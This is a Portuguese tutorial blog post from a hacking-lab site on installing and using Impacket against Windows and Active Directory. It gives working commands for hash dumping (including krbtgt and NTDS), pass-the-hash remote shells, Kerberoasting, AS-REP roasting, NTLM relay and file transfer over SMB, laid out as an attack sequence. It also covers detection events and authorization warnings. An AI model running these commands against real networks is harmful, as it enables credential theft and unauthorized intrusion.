Como Usar o Impacket: Os 8 Scripts Que Mais Importam

Penetration Testing
18 min de leitura
Como Usar o Impacket: Os 8 Scripts Que Mais Importam
Nesta página
  1. O Que É o Impacket?
  2. Instalando o Impacket Sem Quebrar Seu Python
  3. A String de Alvo Que Todo Script do Impacket Compartilha
    1. Senhas, Hashes e Tickets
  4. Os 8 Scripts do Impacket de Que Você Realmente Precisa
    1. secretsdump.py: o que todo mundo tem em mente
    2. wmiexec.py, psexec.py e o resto da família de execução
    3. smbclient.py e smbserver.py: a dupla chata que salva você
    4. GetUserSPNs.py e GetNPUsers.py: hashes a partir do nada
    5. ntlmrelayx.py: autenticar sem quebrar nada
  5. Uma Sequência Realista Contra Um Host Windows
  6. Cinco Erros Que Você Vai Encontrar na Primeira Hora
  7. Como o Impacket Aparece Para Quem Defende
  8. Considerações Legais e Éticas
    1. Onde Isso É Legítimo
  9. Perguntas Frequentes
  10. Seus Próximos Passos

Você finalmente tem um usuário e uma senha válidos na sua primeira máquina com Active Directory, o walkthrough diz "agora é só rodar o secretsdump", e o terminal responde command not found. Dez minutos depois o script roda, mas recusa uma senha que você sabe que está certa, porque ela contém um @ e o Impacket leu tudo depois disso como um nome de host. Aprender a usar o Impacket é, na maior parte, aprender duas coisas: onde os scripts ficam depois da instalação e como a string de alvo compartilhada por todos eles é interpretada. Os ataques em si são a parte fácil. Se você quiser a teoria antes, o capítulo de enumeração do Active Directory explica o que cada um desses scripts está pedindo ao controlador de domínio.

O Impacket é o conjunto de ferramentas por trás de metade dos comandos de todo walkthrough de Windows que você já leu, e ele aparece em trabalho real de teste de invasão pelo mesmo motivo: fala os protocolos do Windows a partir do Linux sem precisar de uma máquina Windows em lugar nenhum da cadeia. Tudo aqui foi conferido no Impacket 0.13.1, a versão estável atual publicada em 19 de maio de 2026, e no branch master 0.14.0-dev.

TL;DR: o Impacket é uma biblioteca Python para protocolos de rede do Windows, distribuída com cerca de 70 scripts de exemplo prontos para rodar. Instale com python3 -m pipx install impacket e lembre que o Kali renomeia os scripts para impacket-secretsdump, impacket-wmiexec e por aí vai. Todo script aceita a mesma string de alvo, dominio/usuario:senha@host, então aprenda isso uma vez e 70 ferramentas se abrem. Comece por quatro: secretsdump.py, wmiexec.py, smbclient.py e GetUserSPNs.py.

O Que É o Impacket?

O Impacket é uma coleção open source de classes Python para trabalhar com protocolos de rede, acompanhada de scripts de exemplo que usam essas classes para conversar com sistemas Windows. O MITRE ATT&CK o cataloga como software S0357 e o descreve como contendo ferramentas de execução remota de serviços, manipulação de Kerberos, extração de credenciais do Windows, captura de pacotes e ataques de retransmissão.

O que as pessoas ignoram é a ordem dessas duas metades. O Impacket é biblioteca primeiro. Os scripts em examples/ foram escritos para demonstrar a biblioteca, e é por isso que parecem menos acabados que um produto: maiúsculas inconsistentes, nenhuma página de ajuda unificada, nomes como GetNPUsers.py ao lado de psexec.py. Aceite as arestas e você ganha algo que ferramenta comercial nenhuma alcança: uma implementação funcional de SMB, MSRPC, LDAP, Kerberos, MSSQL e DCOM que você pode ler, automatizar e modificar.

O projeto nasceu na SecureAuth e hoje é mantido pelo time Core Security da Fortra. A cobertura de protocolos listada no README vai de Ethernet puro e IPv6 até SMB1, SMB2 e SMB3, MSRPC sobre quatro transportes e partes de TDS e LDAP. É por isso que esses scripts fazem coisas que uma ferramenta nativa do Windows precisaria de uma máquina ingressada no domínio para tentar.

Uma imagem que ajuda quem está começando: o Nmap diz que existe um host Windows, o Impacket permite conversar com ele. Nada nessa caixa de ferramentas encontra vulnerabilidades por você. Ela autentica, pergunta e executa, e tudo isso pressupõe que você já tem algo com que autenticar.

Instalando o Impacket Sem Quebrar Seu Python

A recomendação oficial mudou há alguns anos e a maioria dos tutoriais nunca acompanhou. O README agora manda usar pipx em vez de pip para instalações no sistema, porque o pipx dá ao projeto um ambiente virtual próprio em vez de despejar trinta dependências no Python do sistema:

python3 -m pipx install impacket

Se o comando devolver error: externally-managed-environment, você rodou pip e não pipx em uma versão recente de Debian, Ubuntu ou Kali. Esse erro é o Python protegendo os pacotes dos quais o sistema operacional depende, e a solução é o pipx, não o --break-system-packages.

No Kali o Impacket já vem instalado. O pacote do Kali se chama python3-impacket, atualmente na versão 0.13.0, e instala os scripts com nomes diferentes dos que todo tutorial usa:

sudo apt update && sudo apt install python3-impacket
impacket-secretsdump -h

O Kali tira a extensão .py e acrescenta o prefixo impacket-: secretsdump.py vira impacket-secretsdump, wmiexec.py vira impacket-wmiexec e samrdump.py vira impacket-samrdump. Quando um comando tirado de um walkthrough falhar com command not found, tente o nome com prefixo antes de concluir que algo quebrou. Digite impacket- e aperte tab duas vezes para listar todos os scripts que você tem.

Há também um Dockerfile oficial no repositório, se você preferir manter a caixa de ferramentas fora da sua máquina:

docker build -t "impacket:latest" .
docker run -it --rm "impacket:latest"

Uma palavra sobre versões. O branch master está marcado como 0.14.0-dev, suporta Python 3.9 até 3.13 e com frequência carrega scripts e correções que a versão estável não tem. Instale a estável primeiro. Vá para o master só quando uma técnica específica exigir, sabendo que aí você está rodando código que não passou por um ciclo de release.

💻
Pratique agora: Internal - trabalhe uma rede interna a partir do acesso inicial que esses comandos pressupõem, num lab no navegador, sem VPN e sem VM para montar.

A String de Alvo Que Todo Script do Impacket Compartilha

Esta é a seção que economiza uma noite inteira. Quase todo script recebe o alvo em um único formato, escrito de forma idêntica na ajuda de cada um:

[[domain/]username[:password]@]<targetName or address>

Os colchetes significam opcional, e é por isso que o mesmo argumento parece tão diferente entre dois tutoriais. Estas quatro formas são todas válidas:

  • ACME.example/dana:[email protected] para um login completo de domínio
  • [email protected] para autenticar como conta local e receber o prompt de senha
  • ACME.example/[email protected] quando você prefere passar hash ou ticket
  • 192.0.2.20 sozinho, para o punhado de scripts que aceitam sessão anônima

Três regras evitam que isso estrague sua noite. Coloque o argumento inteiro entre aspas simples, sempre, porque senha com ! dispara expansão de histórico no bash e senha com @ quebra a string no lugar errado. Omita a senha por completo e deixe o script perguntar, o que resolve os dois problemas e mantém a senha fora do histórico do shell. E lembre que o valor antes da barra é o domínio, não o nome do host: é a confusão número um de quem está começando.

Senhas, Hashes e Tickets

O Impacket oferece três formas de autenticar, com flags iguais entre os scripts:

FlagO que faz
-hashes LMHASH:NTHASHAutentica com um hash NTLM em vez de senha. Isso é pass the hash, e é por isso que um hash extraído vale tanto quanto um hash quebrado para movimento lateral.
-no-passPula o prompt de senha. Use junto com -hashes ou -k.
-kUsa Kerberos, lendo o ticket do arquivo ccache indicado na variável de ambiente KRB5CCNAME.
-dc-ipIP do controlador de domínio, para quando sua máquina de ataque não resolve o nome do domínio.
-target-ipIP da máquina alvo quando você precisa endereçá-la pelo nome NetBIOS mas o DNS não colabora.

Contas modernas do Windows não têm hash LM, então a metade da esquerda é a constante de LM vazio aad3b435b51404eeaad3b435b51404ee. Cole o par exatamente como o secretsdump.py imprimiu e estará certo. Na prática, -dc-ip é a flag que você mais vai esquecer: operações de Kerberos e LDAP precisam alcançar um controlador de domínio pelo nome, e sua máquina Linux não faz ideia do que ACME.example resolve até você contar.

Os 8 Scripts do Impacket de Que Você Realmente Precisa

O diretório examples do branch master tem cerca de 70 scripts. Você vai usar oito deles em quase todo projeto e toda máquina de CTF, e o resto são especialistas que você procura quando a situação pede.

ScriptO que ele entrega
secretsdump.pyHashes de senha de um SAM local, dos segredos LSA ou de toda a base do domínio
wmiexec.pyUm shell semi-interativo por WMI, sem criar serviço
psexec.pyUm shell SYSTEM interativo de verdade, ao custo de um serviço e de um binário gravado em disco
smbclient.pyUm prompt interativo para navegar por compartilhamentos e baixar arquivos
smbserver.pyUm compartilhamento SMB na sua própria máquina, que é como arquivos entram e saem de alvos Windows
GetUserSPNs.pyKerberoasting: hashes quebráveis de contas de serviço, a partir de qualquer usuário do domínio
GetNPUsers.pyAS-REP roasting: hashes quebráveis de contas sem pré-autenticação
ntlmrelayx.pyRetransmite uma autenticação NTLM capturada para outro host que a aceite

secretsdump.py: o que todo mundo tem em mente

A descrição do próprio script diz que ele "aplica várias técnicas para extrair segredos da máquina remota sem executar nenhum agente nela", e é a última parte que importa. Com direitos de administrador local, ele entra por SMB, lê as hives do registro e devolve hashes:

secretsdump.py 'ACME.example/dana:[email protected]'

Você recebe três blocos: hashes SAM das contas locais, segredos LSA incluindo logons de domínio em cache e qualquer senha de conta de serviço guardada em texto claro, e num controlador de domínio a base NTDS inteira. Contra um DC, restrinja em vez de despejar o diretório todo no seu terminal:

secretsdump.py -just-dc-user krbtgt 'ACME.example/[email protected]'
secretsdump.py -just-dc-ntlm -outputfile acme_hashes 'ACME.example/[email protected]'

Ele também processa hives que você já levou, que é a variante útil quando você tem acesso aos arquivos mas nenhum login funcionando:

secretsdump.py -sam SAM -system SYSTEM LOCAL

Esse LOCAL no final não é um valor para você substituir. Ele diz ao script para trabalhar offline em vez de se conectar a qualquer lugar.

wmiexec.py, psexec.py e o resto da família de execução

Cinco scripts dão execução de comandos e diferem apenas no mecanismo do Windows que exploram. O psexec.py envia um binário e cria um serviço do Windows, o que rende um shell SYSTEM genuinamente interativo e deixa o rastro mais óbvio. O wmiexec.py roda cada comando por WMI como um processo separado, e é por isso que é chamado de semi-interativo: você não pode dar cd e esperar que o próximo comando lembre. O smbexec.py também cria serviço, o atexec.py registra uma tarefa agendada e o dcomexec.py passa por DCOM.

wmiexec.py 'ACME.example/dana:[email protected]'
wmiexec.py -shell-type powershell 'ACME.example/[email protected]' -hashes ':13b29964cc2480b4ef454c59562e675c'

Meu conselho: pegue o wmiexec.py primeiro e guarde o psexec.py para quando precisar de uma sessão interativa de verdade ou de SYSTEM especificamente. Os cinco exigem direitos de administrador local no alvo. Se um falha com erro de acesso e outro passa com as mesmas credenciais, isso é diferença de quais serviços estão rodando e de como o host foi endurecido, não bug.

smbclient.py e smbserver.py: a dupla chata que salva você

O smbclient.py abre um prompt interativo onde shares, use C$, ls e get fazem o que você espera. Não exige direito administrativo algum além de leitura no compartilhamento, e um compartilhamento legível é justamente onde um teste interno vira achado: scripts de deploy com credenciais fixas, uma pasta de TI cheia de planilhas, um backup que ninguém audita desde que o servidor subiu.

O smbserver.py é o que iniciantes pulam e testadores experientes usam o tempo todo. Ele transforma uma pasta da sua máquina Linux em compartilhamento SMB, de modo que o host Windows copia arquivos para você com um comando nativo, sem segunda ferramenta:

smbserver.py -smb2support share /tmp/loot

Do lado do Windows, isso é copy file.zip \\192.0.2.5\share\. Inclua -smb2support sempre, porque o Windows moderno recusa SMB1 por padrão e a falha parece problema de rede em vez de incompatibilidade de protocolo.

GetUserSPNs.py e GetNPUsers.py: hashes a partir do nada

Esses dois explicam por que uma única conta de domínio sem privilégios vale tanto. O Kerberoasting pede um ticket de serviço para qualquer conta que tenha um Service Principal Name e depois o quebra offline, porque parte desse ticket é cifrada com o hash da senha da conta de serviço.

GetUserSPNs.py -request -dc-ip 192.0.2.10 -outputfile spns.txt 'ACME.example/dana'

A saída são hashes Kerberos 5 TGS-REP num formato que as duas ferramentas de quebra entendem: modo 13100 do hashcat para a variante RC4, 19600 e 19700 para as variantes AES. Senhas de conta de serviço são definidas uma vez na instalação e quase nunca trocadas, e é exatamente por isso que esse ataque continua funcionando.

O AS-REP roasting é o primo mais discreto. Contas configuradas com "não exigir pré-autenticação Kerberos" entregam um bloco quebrável para quem pedir, sem senha nenhuma:

GetNPUsers.py -usersfile users.txt -dc-ip 192.0.2.10 -no-pass 'ACME.example/'

Esses hashes são o modo 18200 do hashcat. Os dois ataques produzem material que só vale alguma coisa depois de quebrado, então o fluxo continua no nosso guia do Hashcat, e o capítulo de Kerberoasting cobre o que o controlador de domínio está de fato fazendo quando responde.

💻
Pratique agora: Windows Password Cracker - leve hashes NTLM do tipo que o secretsdump.py devolve por um fluxo completo de quebra e veja quanto vale um dump.

ntlmrelayx.py: autenticar sem quebrar nada

O ntlmrelayx.py pega uma tentativa de autenticação NTLM dirigida a você e a encaminha para um terceiro host que vai aceitá-la. Sem senha, sem hash, sem quebra. Costuma ser usado junto com uma ferramenta que provoca essa autenticação, e é a razão prática pela qual a assinatura SMB existe como configuração.

ntlmrelayx.py -tf targets.txt -smb2support --no-http-server

Trate este como a ponta afiada da caixa de ferramentas. Ele toca máquinas que não são a que você apontou, o que torna a disciplina de escopo inegociável: uma lista de alvos de retransmissão com uma linha a mais alcança um host que ninguém autorizou você a tocar. Entenda o que o protocolo está fazendo antes de rodar em ambiente real, não depois.

Uma Sequência Realista Contra Um Host Windows

Comandos soltos são fáceis de colecionar e difíceis de ordenar. Esta é a ordem em que os scripts saem de verdade, partindo de um conjunto de credenciais de domínio válidas:

  1. Confirme que as credenciais funcionam. O smbclient.py contra o alvo diz na hora se a autenticação passa e o que você consegue ler.
  2. Enumere o domínio. O samrdump.py e o lookupsid.py devolvem usuários, grupos e RIDs, o que te dá a lista de contas de que os scripts de roasting precisam.
  3. Colete os hashes de graça. GetUserSPNs.py -request e GetNPUsers.py não custam nada e às vezes encerram a máquina sozinhos.
  4. Quebre offline enquanto continua. Deixe o Hashcat rodando em outro terminal. Não fique olhando.
  5. Teste as credenciais novas para administrador local. O wmiexec.py devolvendo um prompt é a sua resposta.
  6. Extraia e pivote. secretsdump.py naquele host, e então reutilize o hash do administrador local nos vizinhos com -hashes.

O passo seis é onde a reutilização de senhas decide o projeto. Uma senha de administrador local compartilhada por um parque inteiro de estações transforma um único hash extraído em acesso a tudo, e esse padrão se repete em organizações de qualquer tamanho. Nosso guia sobre NetExec, o sucessor do CrackMapExec, cobre a varredura que diz até onde um hash alcança. As duas ferramentas combinam: o NetExec responde "onde isso funciona", o Impacket responde "o que eu posso fazer ali".

Cinco Erros Que Você Vai Encontrar na Primeira Hora

Nenhum deles significa que você errou o ataque. São as arestas da caixa de ferramentas, e reconhecê-las de bate-pronto é a maior parte da curva de aprendizado.

  • command not found. No Kali o script se chama impacket-secretsdump, não secretsdump.py. Depois de instalar com pipx, abra um terminal novo para o PATH atualizado valer.
  • STATUS_LOGON_FAILURE com uma senha que você sabe que está certa. Seu shell comeu um caractere. Coloque a string de alvo inteira entre aspas simples, ou omita a senha e deixe o script perguntar.
  • rpc_s_access_denied ou STATUS_ACCESS_DENIED depois de um login bem-sucedido. A autenticação funcionou, a autorização não. A conta é válida mas não é administrador local naquele host, o que é um achado sobre a conta e não um erro.
  • KRB_AP_ERR_SKEW(Clock skew too great). O Kerberos rejeita tickets quando os relógios divergem mais de cinco minutos. Sincronize sua máquina com o controlador de domínio usando sudo ntpdate 192.0.2.10 e rode de novo.
  • Tudo trava e depois expira. Sua máquina não resolve o nome do domínio. Acrescente -dc-ip, ou coloque o controlador de domínio no /etc/hosts com o nome curto e o FQDN.

Um hábito que vale pegar cedo: acrescente -ts a todo comando. Ele prefixa cada linha de saída com um horário, o que transforma o histórico do terminal em algo que você consegue alinhar com os logs do cliente quando ele perguntar o que você estava fazendo às 14h32.

Como o Impacket Aparece Para Quem Defende

Quem roda essa caixa de ferramentas num projeto precisa saber o quanto ela é visível, e quem defende uma rede Windows precisa saber o que esses scripts deixam para trás. Os dois lados podem ler a mesma ficha do MITRE ATT&CK, que associa o Impacket a extração de credenciais (T1003), roubo de tickets Kerberos (T1558), execução por WMI (T1047), serviços de sistema (T1569) e retransmissão do tipo adversary-in-the-middle (T1557).

  • Criação de serviço. O psexec.py e o smbexec.py criam um serviço do Windows para rodar a carga. O evento 7045 numa estação de trabalho quase não tem explicação legítima.
  • Tarefas agendadas efêmeras. O atexec.py registra uma tarefa, executa e apaga. Uma tarefa que aparece e some em segundos é um indicador forte.
  • Pedidos de ticket de serviço em massa. Uma conta comum pedindo tickets para todos os SPNs do domínio é Kerberoasting, e o evento 4769 pega isso sempre que alguém está olhando.
  • Replicação de diretório vindo do lugar errado. Um dump estilo DCSync com -just-dc faz uma estação pedir a um controlador de domínio que replique o diretório. Nada além de outro DC deveria fazer isso.

Produtos de segurança de endpoint identificam esses scripts pelo nome. Num projeto real, espere alertas. Esse é o resultado correto num ambiente protegido, e um teste que atravessa uma rede madura sem disparar nada costuma indicar pilha de detecção mal configurada, o que já é motivo para entrar no relatório.

Considerações Legais e Éticas

Lembrete essencial: sempre obtenha autorização escrita explícita antes de testar qualquer sistema. O Impacket autentica em máquinas e executa código nelas. Fazer isso sem permissão é acesso não autorizado na legislação de crimes informáticos da maioria das jurisdições, independentemente de o login ter dado certo.

O próprio README do projeto é direto: o código é publicado para fins de pesquisa e educação. Rodá-lo contra infraestrutura que não é sua e que você não foi contratado para testar não é pesquisa, e as tentativas que falham ficam registradas com o seu endereço de origem de qualquer forma.

Onde Isso É Legítimo

  • Um domínio de laboratório montado em casa com cópias de avaliação do Windows Server, em hardware seu
  • Projetos cobertos por um documento de escopo assinado que nomeia as faixas alvo e as contas que você pode usar
  • Redes que você administra, com aprovação documentada do seu empregador
  • Ambientes de treinamento dedicados e plataformas de CTF

Ataques de retransmissão merecem linha própria aqui. O ntlmrelayx.py age sobre hosts além do que está no seu comando, então um arquivo de alvos copiado de um artigo pode alcançar uma máquina que nunca esteve no escopo. Leia sua lista de alvos em voz alta antes de apertar enter.

Perguntas Frequentes

Para que serve o Impacket?

O Impacket serve para interagir com protocolos de rede do Windows a partir do Linux: extrair hashes de senha, executar comandos remotamente, navegar por compartilhamentos SMB, pedir tickets Kerberos e retransmitir autenticação NTLM. Testadores de invasão o usam em avaliações de Active Directory, e defensores o estudam porque os atacantes usam os mesmos scripts.

Como instalar o Impacket no Kali Linux?

Rode sudo apt update && sudo apt install python3-impacket. O Kali traz a versão 0.13.0 e instala os scripts com prefixo impacket- e sem a extensão .py, então você roda impacket-secretsdump em vez de secretsdump.py. Em outros sistemas, use python3 -m pipx install impacket.

Por que meu comando do Impacket diz command not found?

Duas causas cobrem quase todos os casos. No Kali os scripts se chamam impacket-secretsdump e afins, não secretsdump.py. Depois de instalar com pipx, a mudança do PATH só vale para terminais novos: rode pipx ensurepath e abra outro terminal.

Preciso ser administrador de domínio para usar o secretsdump?

Não. Direitos de administrador local em uma única máquina bastam para extrair os hashes SAM e os segredos LSA dela. Extrair a base NTDS completa do domínio é a parte que exige administrador de domínio ou direitos de replicação equivalentes num controlador de domínio.

Qual a diferença entre Impacket e NetExec?

O NetExec varre muitos hosts rapidamente para responder "onde essas credenciais funcionam", e usa o Impacket por baixo em várias operações. Os scripts do Impacket vão fundo em um alvo: um shell, um dump de hashes, um ticket Kerberos. A maioria dos testadores roda os dois, começando pelo NetExec e seguindo com o Impacket.

O Impacket é legal?

A ferramenta em si é open source sob uma licença Apache modificada, e baixar e estudar é legal. O que importa juridicamente é para onde você aponta. Usá-la contra sistemas que não são seus e que você não tem autorização escrita para testar é acesso não autorizado na maioria das jurisdições.

Seus Próximos Passos

Aprender a usar o Impacket se resume a três hábitos: instalar com pipx para manter o Python do sistema limpo, colocar a string de alvo entre aspas para o shell parar de estragar suas senhas, e começar com quatro scripts em vez de 70. Ponha secretsdump.py, wmiexec.py, smbclient.py e GetUserSPNs.py nos dedos, e os outros 66 viram variações de uma sintaxe que você já conhece. O repositório do projeto e a saída do -h de cada script são a referência para todo o resto.

Ler comandos não é o mesmo que rodá-los contra algo que responde. Consiga um acesso inicial numa rede que se comporta como uma rede real no lab Internal, e depois construa a metodologia em volta com o curso de Ataques a Active Directory da HackerDNA. Os dois rodam no navegador no plano gratuito, sem cartão de crédito e sem VM de laboratório.

HackerDNA Team

Equipe HackerDNA

Escrito pela equipe HackerDNA - profissionais de cibersegurança que criam labs práticos de hacking e conteúdo educativo para ajudar você a desenvolver habilidades reais em segurança.

Conhecer a Equipe

Pronto para colocar isso em prática?

Pare de ler, comece a hackear. Ganhe experiência prática com mais de 170 labs de cibersegurança reais.

Comece a Hackear Grátis
27.000+ Hackers 100+ Labs & Cursos Grátis
Comece Grátis